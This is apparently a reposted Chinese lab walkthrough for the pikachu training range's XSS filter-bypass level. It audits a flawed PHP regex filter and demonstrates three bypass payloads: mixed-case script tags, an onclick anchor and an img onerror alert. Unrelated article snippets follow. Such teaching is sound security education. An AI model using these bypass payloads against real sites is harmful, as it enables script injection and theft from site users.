pikachu靶場通關筆記11 XSS關卡07-XSS之關鍵字過濾繞過(三種方法滲透)

目錄

一、源碼分析

1、進入靶場

2、代碼審計

3、攻擊思路

二、滲透實戰

1、探測過濾信息

2、注入Payload1

3、注入Payload2

4、注入Payload3?


本系列為通過《pikachu靶場通關筆記》的XSS關卡(共10關)滲透集合,通過對XSS關卡源碼的代碼審計找到安全風險的真實原因,講解XSS原理并進行滲透實踐,本文為XSS關卡第07關XSS過濾關卡的滲透部分。

一、源碼分析

1、進入靶場

打開pikachu靶場第07關XSS過濾,完整URL地址如下所示,這是一個輸入框頁面,如下所示。

http://127.0.0.1/pikachu/vul/xss/xss_01.php

2、代碼審計

查看xss_01.php源碼內容,如下所示使用preg_replace函數對輸入參數進行了簡單過濾,具體如下所示。

不過,盡管代碼嘗試使用正則表達式過濾<script>?標簽,但仍然存在 XSS安全風險,原因如下:

  • 正則匹配不全面:正則表達式僅對<script>標簽進行匹配替換,攻擊者可以利用其他 HTML 標簽或 JavaScript 事件來注入惡意腳本。例如,使用?<img>?標簽的?onerror?事件、<body>?標簽的?onload?事件等,這些情況不會被當前的正則表達式匹配到。
  • 大小寫和編碼繞過:攻擊者可以使用不同的大小寫組合(如<ScRiPt>?)來繞過正則匹配,因為當前正則表達式對大小寫敏感且未處理編碼情況。

我們對關鍵源碼進行詳細注釋,具體如下所示。

<?php
// 初始化一個空字符串變量 $html,用于存儲后續要輸出的 HTML 內容
$html = '';// 檢查 $_GET 數組中是否存在名為 'submit' 的元素,并且是否存在名為 'message' 的元素且其值不為 null
// 即判斷用戶是否通過 GET 請求提交了 'submit' 參數,同時也提交了 'message' 參數且該參數有值
if (isset($_GET['submit']) && $_GET['message'] != null) {// 使用正則表達式對用戶提交的 'message' 參數進行過濾處理// 正則表達式 '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/' 嘗試匹配任何包含 <script> 標簽的字符串// 無論 <script> 標簽中的字母是否被其他字符分隔,都會被匹配到// preg_replace 函數將匹配到的內容替換為空字符串,即過濾掉所有類似 <script> 的標簽$message = preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);// 檢查經過過濾后的 'message' 參數的值是否等于 'yes'if ($message == 'yes') {// 如果等于 'yes',向 $html 變量中追加一段提示信息$html .= "<p>那就去人民廣場一個人坐一會兒吧!</p>";} else {// 如果不等于 'yes',向 $html 變量中追加一段提示信息,其中包含用戶輸入的 'message' 內容$html .= "<p>別說這些'{$message}'的話,不要怕,就是干!</p>";}
}
?>

3、攻擊思路

攻擊者可以構造如下惡意輸入進行攻擊:

  • 利用 HTML 事件:構造類似 <img src="nonexistent.jpg" οnerrοr="alert('XSS')"> 的輸入,當頁面顯示該內容時,由于 src 屬性指向的圖片不存在,會觸發 onerror 事件,從而執行其中的 JavaScript 代碼。
  • 大小寫繞過:輸入 <ScRiPt>alert('XSS')</ScRiPt>,由于正則表達式對大小寫敏感,該輸入不會被過濾,頁面會執行其中的惡意腳本。

二、滲透實戰

1、探測過濾信息

輸入關鍵字判斷是否有過濾,關鍵字包括:單引號、雙引號、左右尖括號、問號、&、字符串以及數字<script>'">?&ljn20241019,如下所示發現?<script> 被過濾了

這說明本關卡存在XSS過濾,將關鍵字script過濾了,這與我們源碼分析的結果一致。?

2、注入Payload1

大小寫繞過

<sCriPt>alert('ljn')</ScripT>

<ScRiPT>alert("ljn")</ScRIPT>

3、注入Payload2

使用非 script關鍵字的js腳本進行滲透,如下所示。

<a herf="#" οnclick=" alert('ljn')">

點擊鏈接后彈框“ljn”,說明滲透成功,具體如下所示。

4、注入Payload3?

輸入非 script關鍵字的js腳本<img src="nonexistent.jpg" οnerrοr="alert('ljn')">

<img src="nonexistent.jpg" onerror="alert('ljn')">

由于我們的注入語句種src 屬性指向的圖片不存在,會觸發 onerror 事件,從而執行其中的 XSS代碼彈出“ljn”,如下所示滲透成功。?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/83551.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/83551.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/83551.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

XML 元素:基礎、應用與優化

XML 元素:基礎、應用與優化 引言 XML(可擴展標記語言)作為一種數據交換的標準格式,廣泛應用于互聯網數據交換、數據存儲等領域。XML 元素是 XML 文檔的核心組成部分,本文將深入探討 XML 元素的概念、特性、應用以及優化方法。 一、XML 元素概述 1.1 XML 元素的定義 X…

【Axure高保真原型】交通事故大屏可視化分析案例

今天和大家分享交通事故大屏可視化分析案例的原型模板&#xff0c;包括餅圖分類分析、動態顯示發生數、柱狀圖趨勢分析、中部地圖展示最新事故發現地點和其他信息、右側列表記錄發生事故的信息…… 通過多種可視化圖表展示分析結果&#xff0c;具體效果可以點擊下方視頻觀看或…

HCIP(BGP基礎)

一、BGP 基礎概念 1. 網絡分類與協議定位 IGP&#xff08;內部網關協議&#xff09;&#xff1a;用于自治系統&#xff08;AS&#xff09;內部路由&#xff0c;如 RIP、OSPF、EIGRP&#xff0c;關注選路效率、收斂速度和資源占用。EGP&#xff08;外部網關協議&#xff09;&a…

【HarmonyOS 5】 ArkUI-X開發中的常見問題及解決方案

一、跨平臺編譯與適配問題 1. 平臺特定API不兼容 ?問題現象?&#xff1a;使用Router模塊的replaceUrl或startAbility等鴻蒙專屬API時&#xff0c;編譯跨平臺工程報錯cant support crossplatform application。 ?解決方案?&#xff1a; 改用ohos.router的跨平臺封裝API&a…

Matlab2018a---安裝教程

目錄 壹 | 引 言 貳 | 安裝環境 叁 | 安 裝 肆 | 結 語 壹 | 引 言 大家好&#xff0c;我是子正。 最近想學習一下DSP數字信號處理有關的知識&#xff0c;要用到Matlab進行數據處理&#xff0c;于是又重新把Matlab撿了回來; 記得上學那會兒用的還是Matlab2012a&#xff…

分布式流處理與消息傳遞——Kafka ISR(In-Sync Replicas)算法深度解析

Java Kafka ISR&#xff08;In-Sync Replicas&#xff09;算法深度解析 一、ISR核心原理 #mermaid-svg-OQtnaUGNQ9PMgbW0 {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-OQtnaUGNQ9PMgbW0 .error-icon{fill:#55222…

ARM GIC V3概述

中斷類型 locality- specific peripheral interrupt&#xff08;LPI&#xff09;&#xff1a;LPI是一個有針對性的外設中斷&#xff0c;通過affinity路由到特定的PE。 為非安全group1中斷邊沿觸發可以通過its進行路由沒有active狀態&#xff0c;所以不需要明確的停用操作LPI總…

藍橋杯國賽訓練 day1

目錄 k倍區間 舞獅 交換瓶子 k倍區間 取模后算組合數就行 import java.util.HashMap; import java.util.Map; import java.util.Scanner;public class Main {static Scanner sc new Scanner(System.in);public static void main(String[] args) {solve();}public static vo…

安裝和配置 Nginx 和 Mysql —— 一步一步配置 Ubuntu Server 的 NodeJS 服務器詳細實錄6

前言 昨天更新了四篇博客&#xff0c;我們順利的 安裝了 ubuntu server 服務器&#xff0c;并且配置好了 ssh 免密登錄服務器&#xff0c;安裝好了 服務器常用軟件安裝, 配置好了 zsh 和 vim 以及 通過 NVM 安裝好Nodejs&#xff0c;還有PNPM包管理工具 。 作為服務器的運行…

鴻蒙版Taro 搭建開發環境

鴻蒙版Taro 搭建開發環境 一、配置鴻蒙環境 下載安裝 DevEco 建議使用最新版本的 IDE&#xff0c;當前為 5.0.5Release 版本。 二、創建鴻蒙項目 打開 DevEco&#xff0c;點擊右上角的 Create Project&#xff0c;在 Application 處選擇 Empty Ability&#xff0c;點擊 Ne…

Could not get unknown property ‘mUser‘ for Credentials [username: null]

最近遇到jekins打包報錯&#xff1a; Could not get unknown property mUser for Credentials [username: null] of type org.gradle.internal.credentials.DefaultPasswordCredentials_Decorated。 項目使用的是gradle&#xff0c;通過pipeline打docker包&#xff1b;因為ma…

Spring Boot + MyBatis-Plus 讀寫分離與多 Slave 負載均衡示例

Spring Boot + MyBatis-Plus 讀寫分離與多 Slave 負載均衡示例 一、項目結構 src/main/java/com/example/demo/ ├── config/ │ ├── DataSourceConfig.java # 數據源配置 │ ├── MyBatisPlusConfig.java # MyBatis-Plus配置 ├── constant/ │…

android binder(1)基本原理

一、IPC 進程間通信&#xff08;IPC&#xff0c;Inter-Process Communication&#xff09;機制&#xff0c;用于解決不同進程間的數據交互問題。 不同進程之間用戶地址空間的變量和函數是不能相互訪問的&#xff0c;但是不同進程的內核地址空間是相同和共享的&#xff0c;我們可…

高密爆炸警鐘長鳴:AI為化工安全戴上“智能護盾”

一、高密爆炸&#xff1a;一聲巨響&#xff0c;撕開化工安全“傷疤” 2025年5月27日&#xff0c;山東高密友道化學有限公司的車間爆炸聲&#xff0c;像一把利刃劃破了化工行業的平靜。劇烈的沖擊波將車間夷為平地&#xff0c;黑色蘑菇云騰空而起&#xff0c;刺鼻的化學氣味彌漫…

雙擎驅動:華為云數字人與DeepSeek大模型的智能交互升級方案

一、技術融合概述 華為云數字人 華為云數字人&#xff0c;全稱&#xff1a;數字內容生產線 MetaStudio。數字內容生產線&#xff0c;提供數字人視頻制作、視頻直播、智能交互、企業代言等多種服務能力&#xff0c;使能千行百業降本增效。另外&#xff0c;數字內容生產線&#…

Linux運維筆記:1010實驗室電腦資源規范使用指南

文章目錄 一. 檢查資源使用情況&#xff0c;避免沖突1. 檢查在線用戶2. 檢查 CPU 使用情況3. 檢查 GPU 使用情況4. 協作建議 二. 備份重要文件和數據三. 定期清理硬盤空間四. 退出 ThinLinc 時注銷&#xff0c;釋放內存五. 校外使用時配置 VPN注意事項 總結 實驗室的電腦配備了…

手機郵箱APP操作

收發電子郵件方式 郵箱可以在網絡段登錄&#xff0c;也可以在手機端登錄。 大學網絡服務 收發電子郵件有三種方式&#xff1a; 1、Web方式&#xff1a; 1&#xff09;登錄“網絡服務”&#xff08;https://its.pku.edu.cn&#xff09;&#xff0c;點頁面頂端“郵箱”。 2&…

Dockerfile 使用多階段構建(build 階段 → release 階段)后端配置

錯誤Dockerfile配置示例&#xff1a; FROM python:3.11 as buildENV http_proxyhttp://172.17.0.1:7890 ENV https_proxyhttp://172.17.0.1:7890WORKDIR /appENV PYTHONPATH/app# Install Poetry # RUN curl -sSL https://install.python-poetry.org | POETRY_HOME/opt/poetry…

webstrom中git插件勾選提交部分文件時卻出現提交全部問題怎么解決

原因是我有個.husky的文件制定了執行提交的時候就是提交所有的文件 修改.husky/pre-commit文件就可以啦 #!/usr/bin/env sh . "$(dirname -- "$0")/_/husky.sh"# 獲取通過 WebStorm 提交的暫存文件&#xff08;僅勾選的部分&#xff09; STAGED_FILES$(gi…

OSG編譯wasm嘗試

最近遇到一個情況&#xff0c;需要嘗試一下OSG到webassembly 發現官網有教程 于是順著看了看&#xff0c;默認教程是xubuntu的一個系統跑的&#xff0c;但是我本著試一試的想法&#xff0c;拉下來直接在windows上跑&#xff0c;奇奇怪怪的報錯簡直頭皮發麻 然后怎么辦呢&#x…